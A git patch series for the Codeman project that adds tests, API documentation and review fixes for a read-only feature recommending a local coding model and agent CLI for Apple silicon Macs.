expect(reloaded.isLocalModelCardDismissed()).toBe(true); + await reloaded.loadLocalModel(); + expect(card.hidden).toBe(true); + expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + }); + + it('shows the card on a device that never hid it', async () => { + const { dom, newApp, card } = mount(); + expect(dom.window.localStorage.getItem(DISMISS_KEY)).toBeNull(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + expect(card.hidden).toBe(false); + }); + + it('stays hidden for the page load when storage is blocked', async () => { + const { dom, newApp, card } = mount(); + const storage = dom.window.Storage.prototype; + vi.spyOn(storage, 'getItem').mockImplementation(() => { + throw new Error('blocked'); + }); + vi.spyOn(storage, 'setItem').mockImplementation(() => { + throw new Error('blocked'); + }); + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + expect(card.hidden).toBe(false); + app.dismissLocalModelCard(); + expect(card.hidden).toBe(true); + app.renderLocalModel(); + expect(card.hidden).toBe(true); + vi.restoreAllMocks(); + }); + + it('writes nothing to the server: the only request the module ever makes is the GET', async () => { + const { newApp, card } = mount(); + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + (card.querySelector('button.local-model-hide') as HTMLButtonElement).click(); + expect(app._api.mock.calls).toEqual([['/api/local-model']]); + }); +}); + +describe('the request', () => { + it('goes through the base path when Codeman is mounted under one', async () => { + const before = "const CodemanBase = { base: '/cm', url: (path) => '/cm' + path };"; + const { newApp } = mount({ before }); + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + expect(app._api.mock.calls).toEqual([['/cm/api/local-model']]); + }); + + it('is sent once a minute at most, and shared while in flight', async () => { + const { dom, newApp, card } = mount(); + let now = 1_000_000; + (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; + const app = newApp(ok(OK_STATUS)); + const first = app.loadLocalModel(); + const second = app.loadLocalModel(); + await Promise.all([first, second]); + expect(app._api).toHaveBeenCalledTimes(1); + + now += 59_000; + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(1); + + now += 2_000; + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(2); + expect(card.hidden).toBe(false); + }); + + it('keeps the answer on screen when a later refresh fails', async () => { + const { dom, newApp, card, row } = mount(); + let now = 1_000_000; + (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; + const answers: ApiResponse[] = [ok(OK_STATUS), null]; + const app = newApp(async () => answers.shift() ?? null); + await app.loadLocalModel(); + now += 61_000; + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(2); + expect(card.hidden).toBe(false); + expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + expect(row.textContent).not.toContain('Could not reach the server.'); + }); +}); + +describe('with the real translator', () => { + it('renders in Chinese, and follows a language or display-name change without a reload', async () => { + const { newApp, card, row, i18n } = mount({ i18n: true }); + i18n.start(); + i18n.configure({ language: 'zh-CN' }); + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + expect(texts(card, '.local-model-headline')).toEqual(['最适合此 Mac 的选择']); + expect(texts(card, '.local-model-pill')).toEqual(['良好', '速度未知', '良好', '紧张', '较慢']); + // Names and numbers ride the slots untouched. + expect(texts(card, '.local-model-name')[0]).toBe('Qwen3.8 27B(qwen3.8:27b),搭配 OpenCode'); + expect(texts(row, '.local-model-hw')).toEqual(['Apple M5 Pro,内存 51.5 GB,可用磁盘空间 912 GB']); + + // Both containers are data-i18n-skip, so the module itself must repaint. + i18n.configure({ language: 'en' }); + await settle(); + expect(texts(card, '.local-model-headline')).toEqual(['Best fit for this Mac']); + expect(texts(row, '.local-model-next')).toEqual([NEXT_STEP]); + + i18n.configure({ displayName: 'Acme' }); + await settle(); + expect(texts(card, '.local-model-next')).toEqual([ + 'Setting this up from Acme is the next step. It is not built yet.', + ]); + }); + + it('leaves a slot-shaped piece of a model name alone', async () => { + const { newApp, card, i18n } = mount({ i18n: true }); + i18n.start(); + const odd = candidate({ modelLabel: 'Model {harness} {name}' }); + await newApp(ok(status({ pick: odd }))).loadLocalModel(); + await settle(); + // The DOM translator would empty `{harness}` and brand `{name}`; the skip attribute keeps it out. + expect(texts(card, '.local-model-name')[0]).toBe('Model {harness} {name} (qwen3.8:27b) with OpenCode'); + }); +}); From 58e20cf613dbb2f92fa9f9ba8529330e11697112 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 16:28:04 +0100 Subject: [PATCH 05/28] docs(api): document GET /api/local-model A "Local model recommendation" section in the API reference: the read-only route, its admin gate in multi-user mode, why a failed probe is a 200, and every field of { hardware, recommendation, catalogUpdated }, including that a size travels as bytes and as decimal GB text. Co-Authored-By: Claude Fable 5.1 --- docs/api-reference.md | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/docs/api-reference.md b/docs/api-reference.md index d8de8665..756631ff 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1676,6 +1676,39 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre `GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report. +## Local model recommendation + +`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, and with which agent CLI. It covers Apple silicon macOS only; anywhere else the answer is still a `200`, with verdict `none`. **Read-only:** the route downloads nothing, installs nothing, writes no file and reads or changes no setting (setting a model up from Codeman is a later step and is not built yet). It names the host's hardware, so it is admin only in multi-user mode (`403`, answered before anything is probed). The models, their sizes and the agent CLIs it considers are a catalogue compiled into the release; there is no override file. + +| Method | Path | Body | Notes | +| ------ | ------------------ | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated }`. `403 FORBIDDEN` for a non-admin in multi-user mode. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. | + +A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read. + +`data`: + +- `hardware`: what the server sees of the machine it runs on. + - `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta. + - `memBytes`, `memGb` (decimal GB text) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48). + - `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read. + - `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed, so only memory, architecture and the chip name are known) or `not-probed` (not macOS, nothing was run). +- `recommendation`: + - `verdict`: `ok`, `limited` (the best model that fits has fewer than 12 billion parameters: it handles small edits and questions and does not replace a cloud model) or `none`. + - `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). + - `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. + - `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI: + - `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens); + - `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`; + - `needBytes` and `needGb` (memory the model needs at that context), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals); + - `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`; + - `speed`: `ok`, `slow` or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (absent for `unknown`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed; + - `tested`: we ran this model with this CLI on a Mac like this one. No catalogue row has such an entry yet, so it is `false` today. + - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `wired-limit` (taken from `iogpu.wired_limit_mb`) or `estimated` (computed from the installed memory). +- `catalogUpdated`: ISO date on which the catalogue's rows were last checked. + +Every size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. + ## Voice dictation Browser dictation transcribed through this server's Claude Code login, i.e. the From 4739542397fe9887b18639b25048a1945c85e759 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 16:30:59 +0100 Subject: [PATCH 06/28] chore(local-model): drop build-time wording from two comments The label list was "frozen for the parallel build" and the card's test said the route answers 501: both were true while the pieces were written side by side and are not any more. Comments only. Co-Authored-By: Claude Fable 5.1 --- src/types/local-model.ts | 6 +++--- test/local-model-ui.test.ts | 7 ++++--- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/types/local-model.ts b/src/types/local-model.ts index 77352d64..faf42777 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -221,9 +221,9 @@ export interface DeviceBudget { /** * Every sentence and label the server may put into the payload, in English (the i18n source - * language). Frozen for the parallel build: the zh-CN dictionary in src/web/public/i18n.js has - * one entry per value, keyed by this exact text, and the browser's i18n test imports this - * constant to list them. Adding a key is fine; changing a text means changing its zh-CN key too. + * language). The zh-CN dictionary in src/web/public/i18n.js has one entry per value, keyed by + * this exact text, and test/local-model-i18n.test.ts imports this constant to list them. Adding + * a key is fine; changing a text means changing its zh-CN key too. * * `{placeholder}` slots are filled by the browser from `LocalModelMessage.vars`. `{name}` is * taken (the translator fills it with the display name), so no slot here is called `name`. diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index 1689d6ff..00daa696 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -16,8 +16,9 @@ * - the dismissal is a per-device localStorage key and survives a new app instance; * - one request a minute at most, shared while in flight, and a failed refresh keeps the answer. * - * The route answers 501 until the server stage lands, so the payloads here are fixtures typed - * with the contract's `LocalModelStatus`, built from `LOCAL_MODEL_LABELS`. + * The payloads here are fixtures typed with `LocalModelStatus` and built from + * `LOCAL_MODEL_LABELS`, not the output of the route: what the server computes for a given Mac is + * pinned by test/local-model-recommend.test.ts and test/routes/local-model-routes.test.ts. * * Port: none. */ @@ -131,7 +132,7 @@ const settle = () => new Promise((done) => setTimeout(done, 0)); // ---------- Fixtures (the contract's types) ---------- -/** The MacBook of the probe: 48 GB as sold, a chip that is in no chips row. */ +/** The MacBook of the probe: 48 GB as sold. The candidates below give it an unknown speed, as for a chip in no chips row. */ const HARDWARE: HardwareFacts = { platform: 'darwin', arch: 'arm64', From 8281045cf24d8ec37c38a06bc2288604ef26c379 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 17:37:53 +0100 Subject: [PATCH 07/28] fix(local-model): say what is true of the Mac, and why a model is missing Review fixes for the read-only recommendation and its card. Recommendation (pure): - `limited` is now a statement about the Mac: no model with 12 billion parameters or more fits. It is judged on everything that fits, before the disk filter and whatever the pick is. A 32 or 36 GB Mac whose pick is a 9B model no longer reads "This Mac can run a small model" above a list of 20B, 27B and 35B models, and knowing the chip no longer lowers the verdict. A small pick under `ok` carries a note that says so. - A model that fits the memory but has no room on the disk is no longer dropped in silence: the best-ranked one is named in a note with the GB that are missing. A full disk cannot turn a 48 GB Mac into a small-model Mac. - "Models fit, but not at a context a harness needs" has its own sentence with the budget and the need, worded as an estimate. The 16 GB Mac mini misses by 1.3 points (10.3 of 10.4 GB) and was told flatly that its memory is too little, the sentence of an 8 GB Mac. - The installed memory is named by the size the Mac is sold as (48, not 51.5): the hardware line and the memory sentence. Every computed size stays decimal GB from the one formatter. An unknown memory size is no longer reported as "0.0 GB". - Slow is graded on the unrounded speed: 9.95 to 9.9996 tokens per second printed as 10 and read ok. - The disk sentence names the 10 GiB that must stay free, so its numbers add up for the reader. Card and Settings group: - The Settings group "Model on this Mac" is hidden on a server that is not a Mac, and until the first answer says it is one. - Only `403 FORBIDDEN` is a refusal. `403 PASSWORD_CHANGE_REQUIRED` (an admin who must change the password) is a failed request and is asked again, so that admin no longer loses the card until a reload. - Each fit and speed label carries what it measures as its tooltip and accessible name, an alternative with a speed estimate prints it, and the count beside "Other models that fit" is gone (it was the number of rows, capped at four, not the number of models that fit). - The line saying nothing can be set up yet sits right under the pick, in the colour of every other line (it was 3.9:1), and says whose step it is. - The dismissal key is named for this stage, so hiding the read-only card does not hide the install offer later. Co-Authored-By: Claude Fable 5.1 --- src/local-model/format.ts | 12 +- src/local-model/recommend.ts | 125 +++++++++--- src/types/local-model.ts | 86 +++++--- src/web/public/i18n.js | 28 ++- src/web/public/index.html | 8 +- src/web/public/local-model-ui.js | 169 +++++++++++----- src/web/public/styles.css | 23 +-- test/local-model-i18n.test.ts | 19 +- test/local-model-recommend.test.ts | 291 ++++++++++++++++++++++++--- test/local-model-ui.test.ts | 307 +++++++++++++++++++++++++---- 10 files changed, 857 insertions(+), 211 deletions(-) diff --git a/src/local-model/format.ts b/src/local-model/format.ts index cc9aa974..4f8db32d 100644 --- a/src/local-model/format.ts +++ b/src/local-model/format.ts @@ -8,7 +8,11 @@ * size for display, the browser included: it prints the text it was sent. * * GiB and MiB exist only for the budget math (reserves, the wired limit, the prompt cache) and - * never reach a person. + * never reach a person, with one exception: `memClassGb()`, the memory size a Mac is sold as, + * is how the card names the installed memory ("48 GB memory", what About This Mac shows). It + * is a name of the machine, not a computed size: `formatGb()` of the same bytes reads 51.5, + * which no owner recognises. Every computed size (need, budget, download, free disk) is + * `formatGb()`. * * Pure: no IO, no state. */ @@ -33,8 +37,10 @@ export function formatGb(bytes: number): string { /** * The memory size a Mac is sold as: whole binary gigabytes (17179869184 bytes is 16). This is - * `HardwareFacts.memClassGb`: the key of the tier rules ("below 36 GB") and of `TestedOn.memGb`. - * It names a class of Mac. A size for display is `formatGb()`. + * `HardwareFacts.memClassGb`: the key of the tier rules ("below 36 GB") and of `TestedOn.memGb`, + * and what the card and the `noneMemory` sentence call the installed memory. It names a class + * of Mac; 0 means the size is unknown and is never shown. Any other size for display is + * `formatGb()`. */ export function memClassGb(memBytes: number): number { if (!Number.isFinite(memBytes) || memBytes <= 0) return 0; diff --git a/src/local-model/recommend.ts b/src/local-model/recommend.ts index a0513093..884cc71f 100644 --- a/src/local-model/recommend.ts +++ b/src/local-model/recommend.ts @@ -10,33 +10,48 @@ * catalogue for this Mac's memory. * - Fit: F/B up to 0.85 is good, up to 0.98 is tight, above is out. * - Speed: tokens per second = the model's `speedPer100Gbps` x the chip's bandwidth / 100. - * Below 10 is slow. A chip that is in no chips row, or a model without a speed figure, is - * UNKNOWN: a bandwidth is never guessed. + * Below 10 is slow, decided on the unrounded product (9.96 is slow although it prints as + * 10). A chip that is in no chips row, or a model without a speed figure, is UNKNOWN: a + * bandwidth is never guessed. * - Candidates: (model, context, harness) with `ctx >= harness.minContext`, the harness not * gated, installed or installable, and accepting the model id. * - Ranking, lexicographic: good before tight; ok before unknown before slow; the higher model * rank; the higher harness rank; the larger context. The pick is the first candidate, the * alternatives are the next four MODELS, each at its own best context and harness. + * - Disk: a model whose download would leave less than 10 GiB free is not offered. It is not + * dropped in silence: the best-ranked model left out that way is named in `noteDiskDropped` + * with what is missing. * * Verdict `none`, in this order (the first that applies is the reason): * 1. `not-macos`: the server does not run on macOS. * 2. `intel`: a Mac without Apple silicon. * 3. `macos`: macOS is older than the catalogue's minimum (an unknown version does not block). - * 4. `memory`: no model fits the budget at any of its contexts, whatever the harness. + * 4. `memory`: no model fits the budget at any of its contexts, whatever the harness + * (`noneMemory`, or `noneMemoryUnknown` when the memory size could not be read). * 5. `no-harness`: no harness row is usable (not gated, known to the caller, installed or * installable). - * 6. `memory`: models fit, but none at a context a usable harness needs. + * 6. `memory`: models fit, but none at a context a usable harness needs. Its own sentence + * (`noneMemoryContext`) with the budget and the smallest need at such a context, because + * this Mac can miss by a hair (the 16 GB Mac mini: 10.3 of 10.4 GB) and "too little + * memory" would hide that the answer rests on an estimate. * 7. `no-harness`: models fit at such a context, but no usable harness accepts their id. * 8. `disk`: for every remaining model, free disk minus the download is below 10 GiB (an * unknown free disk does not block). * * Rules: - * - Verdict `limited` when the pick's model has fewer than 12 billion parameters. + * - Verdict `limited` when NO model with 12 billion parameters or more fits this Mac's memory + * at a context a usable harness works at. It is a statement about the Mac ("This Mac can run + * a small model"), so it is judged on everything that fits, BEFORE the disk filter and + * whatever the pick is: a 36 GB Mac whose pick is a 9B model while a 20B, a 27B and a 35B + * are listed under it is not a small-model Mac, and a 48 GB Mac does not become one because + * its disk is full. A small pick under verdict `ok` carries `noteSmallPick` instead. * - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for verdict `ok` with a * pick whose model has a `tested` entry for exactly this chip, this memory size and this * harness. Otherwise `headlineOk` (or `headlineLimited`) plus `noteUntested`. - * - Every label in the result comes from `LOCAL_MODEL_LABELS`, every size text from - * `formatGb()`. No number is spliced into a sentence here. + * - Every label in the result comes from `LOCAL_MODEL_LABELS`, every computed size text from + * `formatGb()`. The one size that is not decimal GB is the installed memory in `noneMemory`: + * `HardwareFacts.memClassGb`, the size the Mac is sold as. No number is spliced into a + * sentence here. * - No CLI id is ever compared with a literal: a harness is a catalogue row plus a * `HarnessFact`. */ @@ -52,6 +67,8 @@ import { type LocalHarnessEntry, type LocalModelCatalog, type LocalModelEntry, + type LocalModelLabel, + type LocalModelMessage, type NoneReason, type Recommendation, type SpeedGrade, @@ -65,7 +82,7 @@ export const FIT_GOOD_MAX_SHARE = 0.85; export const FIT_TIGHT_MAX_SHARE = 0.98; /** An estimated speed below this many tokens per second is `slow`. */ export const SLOW_BELOW_TOKENS_PER_SECOND = 10; -/** A pick whose model has fewer than this many billion parameters makes the verdict `limited`. */ +/** When no model that fits has at least this many billion parameters, the verdict is `limited`. A pick below it is a "small model". */ export const LIMITED_BELOW_PARAMS_B = 12; /** What must stay free on the disk after the model download. */ export const DISK_HEADROOM_BYTES = 10 * GIB; @@ -134,9 +151,10 @@ function round(value: number, decimals: number): number { return Math.round(value * factor) / factor; } -/** A candidate plus the two ranks the ordering needs, which are not part of the payload. */ +/** A candidate plus its catalogue row and the two ranks the ordering needs, none of which is part of the payload. */ interface Ranked { candidate: Candidate; + model: LocalModelEntry; modelRank: number; harnessRank: number; } @@ -181,12 +199,12 @@ function buildCandidate( budgetBytes: number ): Candidate { const gbps = chipBandwidthGbps(catalog.chips, hw.chip); - const tokensPerSecond = - gbps !== undefined && model.speedPer100Gbps !== undefined - ? round((model.speedPer100Gbps * gbps) / 100, 1) - : undefined; + const rawSpeed = + gbps !== undefined && model.speedPer100Gbps !== undefined ? (model.speedPer100Gbps * gbps) / 100 : undefined; + // Graded on the unrounded figure: 9.96 rounds to 10.0 for the payload and is still slow. const speed: SpeedGrade = - tokensPerSecond === undefined ? 'unknown' : tokensPerSecond < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok'; + rawSpeed === undefined ? 'unknown' : rawSpeed < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok'; + const tokensPerSecond = rawSpeed === undefined ? undefined : round(rawSpeed, 1); // "A Mac like this" is exact: the same chip string, the same memory size as sold, the same harness. const tested = model.tested.some( (entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === harness.row.cli @@ -216,11 +234,17 @@ function buildCandidate( }; } -function none(reason: NoneReason, budget: DeviceBudget, vars?: Record): Recommendation { +/** A `none` answer. `text` replaces the reason's default sentence (the `memory` reason has three). */ +function none( + reason: NoneReason, + budget: DeviceBudget, + vars?: Record, + text: LocalModelLabel = LOCAL_MODEL_NONE_LABELS[reason] +): Recommendation { return { verdict: 'none', reason, - headline: { text: LOCAL_MODEL_NONE_LABELS[reason], ...(vars ? { vars } : {}) }, + headline: { text, ...(vars ? { vars } : {}) }, notes: [], alternatives: [], budgetBytes: budget.budgetBytes, @@ -260,7 +284,12 @@ export function recommend( if (fit !== 'out') fitting.push({ model, ctx, need, fit }); } } - const tooLittleMemory = (): Recommendation => none('memory', budget, { memory: hw.memGb }); + // Nothing fits at any context. The installed memory is named by the size the Mac is sold + // as; a size that could not be read is not stated at all (never "0 GB of memory"). + const tooLittleMemory = (): Recommendation => + Number.isFinite(hw.memClassGb) && hw.memClassGb > 0 + ? none('memory', budget, { memory: String(hw.memClassGb) }) + : none('memory', budget, undefined, LOCAL_MODEL_LABELS.noneMemoryUnknown); if (fitting.length === 0) return tooLittleMemory(); // A gated row is never offered, whatever the caller knows about its CLI. @@ -275,25 +304,46 @@ export function recommend( const atHarnessContext = fitting.flatMap((entry) => usable.filter((harness) => entry.ctx >= harness.row.minContext).map((harness) => ({ ...entry, harness })) ); - if (atHarnessContext.length === 0) return tooLittleMemory(); + if (atHarnessContext.length === 0) { + // Models fit, but only below the context a harness needs. Say both numbers: the smallest + // need at such a context can sit a hair over the line, and the budget is an estimate. + const smallestContext = Math.min(...usable.map((harness) => harness.row.minContext)); + let smallestNeed: number | undefined; + for (const model of catalog.models) { + for (const ctx of model.contexts) { + if (ctx < smallestContext) continue; + const need = needBytes(model, ctx, catalog, hw); + if (smallestNeed === undefined || need < smallestNeed) smallestNeed = need; + } + } + if (smallestNeed === undefined) return tooLittleMemory(); + return none( + 'memory', + budget, + { budget: formatGb(budget.budgetBytes), need: formatGb(smallestNeed) }, + LOCAL_MODEL_LABELS.noneMemoryContext + ); + } const accepted = atHarnessContext.filter((entry) => accepts(entry.harness.fact, entry.model.id)); if (accepted.length === 0) return none('no-harness', budget); // The download must leave headroom on the disk. An unknown free disk does not block. const free = hw.freeDiskBytes; - const downloadable = - free === undefined ? accepted : accepted.filter((entry) => free - entry.model.bytes >= DISK_HEADROOM_BYTES); - if (free !== undefined && downloadable.length === 0) { + const hasRoom = (model: LocalModelEntry): boolean => free === undefined || free - model.bytes >= DISK_HEADROOM_BYTES; + if (free !== undefined && !accepted.some((entry) => hasRoom(entry.model))) { const smallest = Math.min(...accepted.map((entry) => entry.model.bytes)); return none('disk', budget, { download: formatGb(smallest), + reserve: formatGb(DISK_HEADROOM_BYTES), free: hw.freeDiskGb ?? formatGb(free), missing: formatGb(smallest + DISK_HEADROOM_BYTES - free), }); } - const ranked: Ranked[] = downloadable + // Everything that fits is ranked, the models without room on the disk included: the best of + // those is named in a note, so a full disk never removes a model without a word. + const ranked: Ranked[] = accepted .map((entry) => ({ candidate: buildCandidate( entry.model, @@ -305,28 +355,47 @@ export function recommend( catalog, budget.budgetBytes ), + model: entry.model, modelRank: entry.model.rank, harnessRank: entry.harness.row.rank, })) .sort(compareRanked); // The first candidate of each model is that model at its best context and harness. - const bestPerModel: Candidate[] = []; - for (const { candidate } of ranked) { - if (!bestPerModel.some((kept) => kept.modelId === candidate.modelId)) bestPerModel.push(candidate); + const bestPerModel: Ranked[] = []; + for (const entry of ranked) { + if (!bestPerModel.some((kept) => kept.model.id === entry.model.id)) bestPerModel.push(entry); } - const [pick, ...others] = bestPerModel; + const offered = bestPerModel.filter((entry) => hasRoom(entry.model)).map((entry) => entry.candidate); + const leftOutForDisk = bestPerModel.find((entry) => !hasRoom(entry.model)); + const [pick, ...others] = offered; - const limited = pick.paramsB < LIMITED_BELOW_PARAMS_B; + // About the Mac, not the pick, and judged before the disk filter (see the file header). + const limited = !accepted.some((entry) => entry.model.paramsB >= LIMITED_BELOW_PARAMS_B); const headline = limited ? LOCAL_MODEL_LABELS.headlineLimited : pick.tested ? LOCAL_MODEL_LABELS.headlineTested : LOCAL_MODEL_LABELS.headlineOk; + + const notes: LocalModelMessage[] = []; + // The limited headline already says it. Under `ok` a small pick must still be called small. + if (!limited && pick.paramsB < LIMITED_BELOW_PARAMS_B) notes.push({ text: LOCAL_MODEL_LABELS.noteSmallPick }); + if (leftOutForDisk && free !== undefined) { + notes.push({ + text: LOCAL_MODEL_LABELS.noteDiskDropped, + vars: { + model: leftOutForDisk.model.label, + missing: formatGb(leftOutForDisk.model.bytes + DISK_HEADROOM_BYTES - free), + }, + }); + } + if (!pick.tested) notes.push({ text: LOCAL_MODEL_LABELS.noteUntested }); + return { verdict: limited ? 'limited' : 'ok', headline: { text: headline }, - notes: pick.tested ? [] : [{ text: LOCAL_MODEL_LABELS.noteUntested }], + notes, pick, alternatives: others.slice(0, MAX_ALTERNATIVES), budgetBytes: budget.budgetBytes, diff --git a/src/types/local-model.ts b/src/types/local-model.ts index faf42777..8b8cfc75 100644 --- a/src/types/local-model.ts +++ b/src/types/local-model.ts @@ -15,10 +15,12 @@ * * Three rules every producer and consumer follows: * - * 1. ONE unit for a size a person reads: decimal GB, computed from bytes by `formatGb()` in - * src/local-model/format.ts. Every such size travels twice, as bytes (`needBytes`) and as the - * text to show (`needGb`, a number without the unit, such as '25.5'). The browser prints the - * text and never divides bytes itself. GiB appears only inside the budget math. + * 1. ONE unit for a computed size a person reads: decimal GB, computed from bytes by + * `formatGb()` in src/local-model/format.ts. Every such size travels twice, as bytes + * (`needBytes`) and as the text to show (`needGb`, a number without the unit, such as + * '25.5'). The browser prints the text and never divides bytes itself. GiB appears only + * inside the budget math. The one exception is the NAME of the installed memory: the card + * says `HardwareFacts.memClassGb` (48 for a Mac sold with 48 GB), see that field. * 2. Every sentence or label the SERVER chooses comes from `LOCAL_MODEL_LABELS` below, so the * browser can translate it (`codemanT(text, vars)`) and its i18n test can list every string. * Numbers are never spliced into a sentence here: they travel in `vars` and fill the @@ -33,7 +35,8 @@ * How `HardwareFacts` was obtained. * - `sysctl`: the spawn answered and `hw.memsize` parsed. * - `os-fallback`: on macOS, but the spawn failed or timed out; memory, architecture and the chip - * string come from `node:os`, the rest is absent. + * string come from `node:os` and the free disk from `statfs`. What only sysctl knows (`arm64`, + * `translated`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb`) is absent. * - `not-probed`: not macOS, so `sysctl` was never spawned. */ export type HardwareProbeSource = 'sysctl' | 'os-fallback' | 'not-probed'; @@ -54,9 +57,19 @@ export interface HardwareFacts { translated?: boolean; /** Installed memory in bytes (`hw.memsize`, else `os.totalmem()`). The ONLY memory input of the budget math. */ memBytes: number; - /** `memBytes` as a person reads it: decimal GB from `formatGb()`, without the unit ('17.2' for a Mac sold as 16 GB). */ + /** + * `memBytes` in the unit of every computed size: decimal GB from `formatGb()`, without the unit + * ('17.2' for a Mac sold as 16 GB). NOT what the card calls the installed memory: that is + * `memClassGb`, see there. + */ memGb: string; - /** The memory size the Mac is sold as: whole binary gigabytes (16, 32, 48). Tier rules and `TestedOn.memGb` use it. */ + /** + * The memory size the Mac is sold as: whole binary gigabytes (16, 32, 48), 0 when the size is + * unknown. Tier rules and `TestedOn.memGb` use it, and it is the ONE size a person reads that + * is not decimal GB: the hardware line and the `memory` slot of `noneMemory` print it, because + * it is the number on the box and in About This Mac ("48 GB"), and '51.5 GB memory' reads as a + * different machine. Every computed size (need, budget, download, free disk) stays decimal GB. + */ memClassGb: number; /** `machdep.cpu.brand_string` ('Apple M4 Pro'), else `os.cpus()[0].model`. */ chip?: string; @@ -97,7 +110,7 @@ export interface LocalModelEntry { label: string; /** SPDX id of the license ('Apache-2.0'). */ license: string; - /** Parameter count in billions. Under 12 the verdict is `limited`, never `ok`. */ + /** Parameter count in billions. When no model that fits has 12 or more, the verdict is `limited`, never `ok`. */ paramsB: number; /** Size of the weights in bytes: both the download and what they take in memory. */ bytes: number; @@ -200,7 +213,10 @@ export type SpeedGrade = 'ok' | 'slow' | 'unknown'; * Why the verdict is `none`. * - `not-macos`: the server does not run on macOS (the card is hidden). * - `intel`: a Mac without Apple silicon. - * - `memory`: no model fits the memory budget with any harness. + * - `memory`: no model fits the memory budget at a context a usable harness needs. Three + * headlines share this reason: `noneMemory` (nothing fits at any context), `noneMemoryContext` + * (a model fits, but only below the context a harness needs: the sentence carries the budget + * and the need) and `noneMemoryUnknown` (the memory size could not be read). * - `disk`: models fit the memory, but for every one of them free disk minus the download is below 10 GiB. * - `macos`: macOS is older than `LocalModelCatalog.minMacosMajor`. * - `no-harness`: no catalogue harness is installed or installable and accepts a model. @@ -228,12 +244,17 @@ export interface DeviceBudget { * `{placeholder}` slots are filled by the browser from `LocalModelMessage.vars`. `{name}` is * taken (the translator fills it with the display name), so no slot here is called `name`. * - * | Key | Slots (all text; sizes are decimal GB without the unit) | - * |---------------|---------------------------------------------------------------------------------| - * | `noneMemory` | `memory`: `HardwareFacts.memGb` | - * | `noneDisk` | `download`: smallest download among the models that fit the memory; `free`: | - * | | `HardwareFacts.freeDiskGb`; `missing`: download + 10 GiB - free | - * | `noneMacos` | `version`: `HardwareFacts.macosVersion`; `minimum`: the catalogue's minimum | + * | Key | Slots (all text; sizes are decimal GB without the unit) | + * |---------------------|---------------------------------------------------------------------------| + * | `noteDiskDropped` | `model`: label of the best model left out for disk space; `missing`: its | + * | | download + the disk reserve - free | + * | `noneMemory` | `memory`: `HardwareFacts.memClassGb`, the size the Mac is sold as | + * | `noneMemoryContext` | `budget`: `Recommendation.budgetGb`; `need`: the smallest need of any | + * | | model at a context a usable harness works at | + * | `noneDisk` | `download`: smallest download among the models that fit the memory; | + * | | `reserve`: what must stay free after it (10 GiB, as decimal GB); `free`: | + * | | `HardwareFacts.freeDiskGb`; `missing`: download + reserve - free | + * | 